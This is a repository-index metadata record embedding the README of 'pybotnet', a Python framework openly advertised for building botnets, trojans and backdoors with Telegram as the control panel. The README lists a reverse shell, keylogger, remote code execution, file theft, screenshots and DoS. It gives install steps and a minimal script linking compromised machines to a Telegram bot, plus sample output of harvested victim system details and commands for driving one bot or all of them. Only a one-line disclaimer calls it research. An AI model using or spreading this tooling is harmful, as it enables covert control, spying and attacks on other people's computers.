{"id":15903718,"url":"https://github.com/onionj/pybotnet","last_synced_at":"2025-04-04T11:14:43.236Z","repository":{"id":39699009,"uuid":"375670315","full_name":"onionj/pybotnet","owner":"onionj","description":"PyBotNet: A Remote Control Framework for Python with Telegram Integration","archived":false,"fork":false,"pushed_at":"2024-05-31T19:22:06.000Z","size":1643,"stargazers_count":253,"open_issues_count":7,"forks_count":69,"subscribers_count":8,"default_branch":"master","last_synced_at":"2025-03-28T10:02:29.754Z","etag":null,"topics":["backdoor","bot","botnet","ddos","linux","mac","mac-os","macos","python","remote-control","telegram","telegram-bot","trojan","windows"],"latest_commit_sha":null,"homepage":"https://onionj.github.io/pybotnet/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"lgpl-2.1","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/onionj.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-06-10T11:14:19.000Z","updated_at":"2025-03-24T10:40:05.000Z","dependencies_parsed_at":"2024-04-05T17:45:37.936Z","dependency_job_id":"73977c6f-6d0f-4a6c-be6e-55d57fb52e0e","html_url":"https://github.com/onionj/pybotnet","commit_stats":{"total_commits":537,"total_committers":7,"mean_commits":76.71428571428571,"dds":"0.26443202979515834","last_synced_commit":"e5be063ed644bccf594c099d6af423e219fd8bb4"},"previous_names":[],"tags_count":21,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/onionj%2Fpybotnet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/onionj%2Fpybotnet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/onionj%2Fpybotnet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/onionj%2Fpybotnet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/onionj","download_url":"https://codeload.github.com/onionj/pybotnet/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247166143,"owners_count":20894652,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["backdoor","bot","botnet","ddos","linux","mac","mac-os","macos","python","remote-control","telegram","telegram-bot","trojan","windows"],"created_at":"2024-10-06T12:03:54.887Z","updated_at":"2025-04-04T11:14:43.210Z","avatar_url":"https://github.com/onionj.png","language":"Python","readme":"\n \u003cp align=\"center\"\u003e\n    \u003ca href='https://github.com/onionj/pybotnet' target='_blank'\u003e\u003cimg src='https://files.virgool.io/upload/users/271869/posts/wxs2bk9hkqfx/ezoxwssoikqm.jpeg' border='5' alt='trojan horse'/\u003e\u003c/a\u003e\n    \u003ch1 align=\"center\"\u003ePyBotNet\u003c/h1\u003e\n    \u003cp align=\"center\"\u003e \n    A Python framework for building \u003cb\u003eremote control\u003c/b\u003e, \u003cb\u003ebotnet\u003c/b\u003e , \u003cb\u003etrojan\u003c/b\u003e  or \u003cb\u003ebackdoor\u003c/b\u003e with Telegram or other control panels\n    \u003c/p\u003e\n  \u003cp align=\"center\"\u003e\n    \u003ca href=\"https://github.com/onionj/pybotnet\"\u003e\n      \u003cimg src=\"https://img.shields.io/pypi/v/pybotnet?label=pybotnet\" /\u003e\n    \u003c/a\u003e\n    \u003ca href=\"https://github.com/onionj/pybotnet/blob/master/LICENSE\"\u003e\n      \u003cimg src=\"https://img.shields.io/github/license/onionj/pybotnet\" /\u003e\n    \u003c/a\u003e\n    \u003ca href=\"https://www.python.org/\"\u003e\n    \t\u003cimg src=\"https://img.shields.io/pypi/pyversions/pybotnet\" /\u003e\n    \u003c/a\u003e\n   \u003c/p\u003e\n   \u003cp align=\"center\"\u003e\n    \u003ca href=\"https://www.pepy.tech/projects/pybotnet\"\u003e\n      \u003cimg src=\"https://static.pepy.tech/badge/pybotnet\" /\u003e\n    \u003c/a\u003e\n    \u003ca href=\"https://www.pepy.tech/projects/pybotnet\"\u003e\n      \u003cimg src=\"https://static.pepy.tech/badge/pybotnet/month\" /\u003e\n    \u003c/a\u003e\n    \u003ca href=\"https://www.pepy.tech/projects/pybotnet\"\u003e\n      \u003cimg src=\"https://static.pepy.tech/badge/pybotnet/week\" /\u003e\n    \u003c/a\u003e\n   \u003c/p\u003e\n\u003c/p\u003e\n \n\n\u003e Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf!. \n\n---\n\n**Source Code**: \u003ca href=\"https://github.com/onionj/pybotnet\" target=\"_blank\"\u003ehttps://github.com/onionj/pybotnet\u003c/a\u003e\n\n**Documentation**: \u003ca href=\"https://onionj.github.io/pybotnet/\" target=\"_blank\"\u003ehttps://onionj.github.io/pybotnet/\u003c/a\u003e\n\n**ToDo List**: \u003ca href=\"https://github.com/users/onionj/projects/1\" target=\"_blank\"\u003ehttps://github.com/users/onionj/projects/1\u003c/a\u003e\n\n---\n\n### Features:\n* Built in Telegram control pannel and proxy system\n* Built in scripts like:\n    * reverse shell\n    * put or get file\n    * run python code on target systems\n    * get screenshot\n    * keylogger\n    * dos\n    * scheduler\n    * ...\n* Cross platform\n* Ability to easily add custom scripts\n* Import external scripts\n* Ability to add custom control panel\n* Add remote control to your apps\n* [...](https://onionj.github.io/pybotnet/)\n\n\n### Install PyBotNet\n\n```console\npip3 install pybotnet -U\n```\n\n* `-U`: make sure to upgrade framework to latest version.\n\n\n#### The simplest PyBotNet file could look like this:\n\n\n```py title=\"main.py\"\n# in main.py\nfrom pybotnet import BotNet, TelegramEngine\n\n\ntelegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID) #(1)\n\nbotnet = BotNet(telegram_engine) # (2)\nbotnet.run()\n```\n\n1. create engine: Engines transfer messages between admin and botnet\n2. create BotNet instance\n\n\n#### note:\n  * `TELEGRAM_TOKEN`: You can use telegram `@botfather` to Create new telegram API Bot and get your `TELEGRAM_TOKEN` \n  * `ADMIN_CHAT_ID`: Get it from @userinfobot telegram bot\n  * PyBotNet include default scripts, like: `/shell`, `/put_file`, `/get_file`, `/screenshot`, `/who`, ...,\n    you can send `/help` to your telegram bot and see more detail..\n\n#### Run code:\n\n```console \npython3 main.py\n```\n\n#### telegram engine\n\nopen telegram and send `/who` command to your bot; If you have done the steps correctly, you recive a message like this:\n\n```\nscripts_name:\n    echo\n    who\n    shell\n    screenshot\n    put_file\n    get_file\n    runcode\n    openurl\n    dos\n    schedule\n\nmac_addres: 228362405364\nos: Linux\nglobal_ip: 5.10.30.35\ncountry: Iran, Islamic Republic of\nbot_name: no_name\nlocal_ip: {'192.168.23.1'}\nhost_name: {'system_name'}\nsystem_user: root\nup_time: 0:00:01\ncurrent_route: /\npid: 148352\ncpu_count: 8\npybotnet_version: 2.0.8b0\nfrom cache: True\n```\n\n\nyou can send `/help` to see help page, or send `/help \u003cscript_name\u003e` to recive more help about a specific script.\n\nfor example send `/help screenshot`, You will receive:\n\n```\nNAME:\nscreenshot\n\nDESCRIPTION:\nget screen shot\n    * `[mac-address] /screenshot`\n    or\n    * `/screenshot`\n\n    example command: \n        * `94945035671481 /screenshot`\n        * `/screenshot` \n\n    return: img or img-download-link\n    \n\nscript_version: 0.0.1\ndefault_script: True\n\n___________________________\nscripts_name: ['echo', 'who', 'shell', 'screenshot', 'put_file', 'get_file', 'runcode', 'openurl', 'dos', 'schedule']\nmac_addres: 228362405364\nos: Linux\nglobal_ip: 5.10.30.35\ncountry: Iran, Islamic Republic of\nbot_name: no_name\nuse_proxy: False\n```\n\nin top of message you see script name, description, syntax, and examples.\n\nfor run screenshot script you have two choice:\n\n* Run the script on all clients that are listening to Telegram bot (for now we have one!)\n* Run script on one specific system\n\nfor run script on all client send `/screenshot`.\n\nbot if you need to get screen-shot on a specific system you need to send `[mac_addres] /screenshot` for our case: `228362405364 /screenshot`\n\nin some case like `/shell` you need to run it just for one system.\n\n\nFor see who we can `Add custom scripts`, `Run in background`, `Running the pybotnet without coding`, and etc, see the below documentation.\n\n### *For more, see [Documentation](https://onionj.github.io/pybotnet/)*\n\n\n---\n\n## Contributors ✨\nThanks goes to these wonderful people :\n\n\u003ctable\u003e\n\u003ctd align=\"center\"\u003e\u003ca href=\"https://github.com/TorhamDev\"\u003e\u003cimg src=\"https://avatars.githubusercontent.com/u/87639984?v=4\" width=\"70px;\" alt=\"\"/\u003e\u003cbr /\u003e\u003csub\u003e\u003cb\u003e TorhamDev\u003c/b\u003e\u003c/sub\u003e\u003c/a\u003e\u003cbr /\u003e\u003c/td\u003e\n\u003ctd align=\"center\"\u003e\u003ca href=\"https://github.com/SepehrRasouli\"\u003e\u003cimg src=\"https://avatars.githubusercontent.com/u/81516241?v=4\" width=\"70px;\" alt=\"\"/\u003e\u003cbr /\u003e\u003csub\u003e\u003cb\u003e SepehrRasouli\u003c/b\u003e\u003c/sub\u003e\u003c/a\u003e\u003cbr /\u003e\u003c/td\u003e\n\u003c/table\u003e\n\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fonionj%2Fpybotnet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fonionj%2Fpybotnet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fonionj%2Fpybotnet/lists"}